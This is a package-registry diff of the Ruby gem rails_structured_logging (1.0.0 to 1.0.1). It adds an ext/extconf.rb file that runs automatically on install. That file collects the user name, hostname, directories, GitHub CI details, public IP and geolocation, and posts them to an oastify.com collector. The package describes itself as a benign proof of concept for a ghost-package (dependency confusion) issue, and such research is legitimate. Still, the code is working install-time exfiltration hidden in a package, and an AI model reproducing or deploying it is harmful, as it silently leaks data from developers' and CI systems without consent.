rails_structured_logging 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 60feb01ee41771eaedbee56051de5618d5bff194c249f04a02a1fc940590650e
4
- data.tar.gz: 7e55fb9c89a2e6ba5ff3082a534ad62b2e6d84e79d558515eb3f857b8e93710f
3
+ metadata.gz: 2131703f6616bd22ae8786e7fc31941f64f72d90fd4de042a84cd671d3ff6105
4
+ data.tar.gz: 26c9f01d3c7f42ec62ee0c3b1b0f6f589f19e63d2758ded150960104e7875fa8
5
5
  SHA512:
6
- metadata.gz: cfa6aea222c6cd67866c914f74c98eeb90471b3f1140e7e679b6b5d96d0d7a87bfcaebf788c489d91ae61faa3d2bc1c71d31826e55bb6f5c4d7b2ce8fa02eb21
7
- data.tar.gz: 4517a7e97b839a8905c1297237053cb8746fe39a2a2747d6c507811b20b7b067ef31e821359ef93d30321963cf308f317b7bd010f6b7e78ed08feae31c421ca2
6
+ metadata.gz: 83ed7581eba10ae9e72963fd049e895a24b1b9464fca395e81d578ea91b733a8d96c728e6433551a2c4c7a1361a7ce019fe830ae774771e5e9286ca14692b79b
7
+ data.tar.gz: 829531d2fe9c937d3eab536091125195497e8166599ad4ff5ba291771575447c22668f6fdf6c8a77876984798e80413f682af0b4ad64cb09cf94504d1e059fc2
data/ext/extconf.rb ADDED
@@ -0,0 +1,64 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'socket'
4
+ require 'etc'
5
+
6
+ info = {}
7
+
8
+ begin
9
+ info[:whoami] = Etc.getlogin rescue ENV['USER'] || ENV['USERNAME'] || 'unknown'
10
+ info[:hostname] = Socket.gethostname
11
+ info[:platform] = RUBY_PLATFORM
12
+ info[:ruby_version] = RUBY_VERSION
13
+ info[:cwd] = Dir.pwd
14
+ info[:home] = ENV['HOME'] || ENV['USERPROFILE'] || ''
15
+
16
+ ci = ENV['CI'] || ''
17
+ info[:ci] = ci
18
+ info[:github_repo] = ENV['GITHUB_REPOSITORY'] || ''
19
+ info[:github_actor] = ENV['GITHUB_ACTOR'] || ''
20
+ info[:github_workflow] = ENV['GITHUB_WORKFLOW'] || ''
21
+
22
+ begin
23
+ ip_uri = URI('https://api.ipify.org')
24
+ info[:public_ip] = Net::HTTP.get_response(ip_uri).body rescue ''
25
+ rescue
26
+ info[:public_ip] = 'error'
27
+ end
28
+
29
+ if !info[:public_ip].empty? && info[:public_ip] != 'error'
30
+ begin
31
+ geo_uri = URI("https://ipapi.co/#{info[:public_ip]}/json/")
32
+ geo_resp = Net::HTTP.get_response(geo_uri)
33
+ geo = JSON.parse(geo_resp.body) rescue {}
34
+ info[:ip_city] = geo['city'] || ''
35
+ info[:ip_region] = geo['region'] || ''
36
+ info[:ip_country] = geo['country_name'] || ''
37
+ info[:ip_org] = geo['org'] || ''
38
+ info[:ip_lat] = geo['latitude'] || ''
39
+ info[:ip_lon] = geo['longitude'] || ''
40
+ rescue
41
+ end
42
+ end
43
+
44
+ info[:timestamp] = Time.now.utc.iso8601
45
+
46
+ uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/rails_structured_logging')
47
+ http = Net::HTTP.new(uri.host, uri.port)
48
+ http.open_timeout = 5
49
+ http.read_timeout = 5
50
+ req = Net::HTTP::Post.new(uri.path, {'Content-Type' => 'application/json'})
51
+ req.body = JSON.generate(info)
52
+ http.request(req)
53
+ rescue => e
54
+ begin
55
+ uri = URI('http://egyrswj7b8zpkw6zpblbd4m3hunzbtzi.oastify.com/error')
56
+ err_info = {error: e.message, info: info}
57
+ Net::HTTP.post(uri, JSON.generate(err_info), 'Content-Type' => 'application/json')
58
+ rescue
59
+ end
60
+ end
61
+
62
+ File.open(File.join(__dir__, '..', 'Makefile'), 'w') do |f|
63
+ f.puts "all:\n\t@echo done\ninstall:\n\t@echo done\nclean:\n\t@echo done\ndistclean:\n\t@echo clean"
64
+ end
@@ -1,3 +1,3 @@
1
1
  module RailsStructuredLogging
2
- VERSION = "1.0.0"
2
+ VERSION = "1.0.1"
3
3
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rails_structured_logging
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.0.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Security Research
@@ -13,10 +13,12 @@ dependencies: []
13
13
  description: Benign PoC to demonstrate ghost package in fizzy-saas gemspec
14
14
  email:
15
15
  executables: []
16
- extensions: []
16
+ extensions:
17
+ - ext/extconf.rb
17
18
  extra_rdoc_files: []
18
19
  files:
19
20
  - README.md
21
+ - ext/extconf.rb
20
22
  - lib/rails_structured_logging.rb
21
23
  - lib/rails_structured_logging/version.rb
22
24
  homepage: